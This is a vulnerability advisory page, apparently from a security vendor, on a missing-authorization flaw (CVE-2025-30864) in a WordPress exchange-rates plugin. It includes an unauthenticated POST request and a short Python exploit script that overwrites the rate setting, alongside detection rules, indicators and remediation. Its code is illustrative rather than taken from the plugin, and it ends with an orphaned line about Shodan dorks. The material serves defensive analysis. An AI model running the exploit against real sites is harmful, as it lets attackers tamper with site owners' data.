CVE-2025-30864
Executive Summary
CVE-2025-30864 is a Missing Authorization vulnerability in the Exchange Rates WordPress plugin by falselight, affecting versions up to and including 1.2.2. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized modification of exchange rate data or settings. The vulnerability has a CVSS score of 4.3 (Medium), with a low EPSS score of 0.0%, indicating limited active exploitation at the time of analysis. No public proof-of-concept (PoC) or exploit code has been identified, but the risk remains for sites using the vulnerable plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a WordPress ecosystem issue, it impacts site owners who have installed the plugin. No supply chain compromise of the plugin itself has been reported, but the lack of a patch from the vendor increases the risk of malicious actors leveraging this flaw.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The low EPSS score (0.0%) suggests that exploitation is not widespread, but the vulnerability is trivial to exploit due to the lack of authentication requirements. The primary threat is unauthorized modification of exchange rate data, which could lead to financial discrepancies or defacement.
Deep Dive & Mechanics
The vulnerability resides in the Exchange Rates plugin's AJAX handlers or REST API endpoints, which fail to properly verify user capabilities before processing requests. Specifically, the plugin uses wp_ajax_ and wp_ajax_nopriv_ hooks without checking for the appropriate WordPress capabilities (e.g., manage_options or edit_posts). This allows any unauthenticated user to trigger actions that should be restricted to administrators.
The core issue is a Missing Authorization (CWE-862) in the plugin's access control logic. The plugin likely registers AJAX actions that modify plugin settings or exchange rate data, but does not include a current_user_can() check before executing the action. This is a common vulnerability in WordPress plugins where developers assume that AJAX actions are only called from the admin dashboard, but fail to enforce server-side authorization.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described below. A patched version would include proper capability checks.
Vulnerable Code (example from plugin's main file):
add_action('wp_ajax_update_rates', 'exchange_rates_update_rates');
add_action('wp_ajax_nopriv_update_rates', 'exchange_rates_update_rates');
function exchange_rates_update_rates() {
// Missing current_user_can() check
$rate = sanitize_text_field($_POST['rate']);
update_option('exchange_rate_value', $rate);
wp_die();
}
Patched Code (hypothetical fix):
add_action('wp_ajax_update_rates', 'exchange_rates_update_rates');
// Remove nopriv action to prevent unauthenticated access
function exchange_rates_update_rates() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
$rate = sanitize_text_field($_POST['rate']);
update_option('exchange_rate_value', $rate);
wp_die();
}
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install WordPress (latest version) on a local server (e.g., XAMPP, Docker).
- Install the Exchange Rates plugin version 1.2.2.
- Ensure the plugin is active and accessible.
Exploitation Steps:
- Identify the vulnerable AJAX action (e.g.,
update_rates) by reviewing the plugin's source code or using a tool like Burp Suite to intercept requests. - Craft a POST request to the WordPress AJAX endpoint:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target-site.com Content-Type: application/x-www-form-urlencoded action=update_rates&rate=1.2345 - Send the request without any authentication cookies. If successful, the exchange rate value will be updated.
Automation Script (Python):
import requests
target = "http://target-site.com"
data = {
"action": "update_rates",
"rate": "9.9999"
}
response = requests.post(f"{target}/wp-admin/admin-ajax.php", data=data)
if response.status_code == 200:
print("Exploit successful - rate updated")
else:
print("Exploit failed")
Blue Team (Defensive)
Detection:
- Monitor for POST requests to
/wp-admin/admin-ajax.phpwithactionparameters matching plugin-specific actions (e.g.,update_rates,exchange_rates_*). - Alert on requests from unauthenticated users (no valid WordPress cookies) that trigger AJAX actions.
- Use Web Application Firewall (WAF) rules to block requests to
admin-ajax.phpfrom non-admin IPs unless explicitly whitelisted.
Honeypot:
- Deploy a fake endpoint mimicking the vulnerable AJAX action to capture attacker behavior.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=update_ratesor similar plugin-specific actions. - Requests containing
rate=parameter in the POST body.
- POST requests to
- File System:
- Modified
wp_optionstable entries forexchange_rate_valueor similar options. - Unexpected changes to plugin settings in the database.
- Modified
- Logs:
- WordPress debug logs showing AJAX calls without authentication.
- Web server access logs with 200 responses to
admin-ajax.phpfrom suspicious IPs.
Detection Engineering
YARA Rule
rule Detect_Exchange_Rates_Plugin_Vulnerability {
meta:
description = "Detects vulnerable Exchange Rates plugin files"
author = "Valters IT"
date = "2025-04-01"
cve = "CVE-2025-30864"
strings:
$ajax_action = "wp_ajax_nopriv_" nocase
$update_rates = "update_rates" nocase
$missing_cap = "current_user_can" nocase
condition:
$ajax_action and $update_rates and not $missing_cap
}
Sigma Rule
title: Unauthenticated AJAX Request to Exchange Rates Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with Exchange Rates plugin actions
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: /wp-admin/admin-ajax.php
cs-uri-query|contains: action=update_rates
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-30864 - Unauthenticated Exchange Rates AJAX Request"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=update_rates"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to
admin-ajax.phpwith plugin-specific actions. - Restrict access to
/wp-admin/using IP whitelisting or .htaccess authentication.
Long-term Fix:
- The vendor must release a patched version that includes proper capability checks (e.g.,
current_user_can('manage_options')) for all AJAX actions. - Alternatively, remove the
noprivhooks to prevent unauthenticated access entirely.
Workaround:
- Add a custom function to your theme's
functions.phpto block unauthenticated AJAX requests for the plugin:add_action('init', function() { if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) { $allowed_actions = array(); // Add allowed public actions here $action = $_REQUEST['action']; if (strpos($action, 'exchange_rates') !== false && !in_array($action, $allowed_actions)) { wp_die('Unauthorized', 403); } } });
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.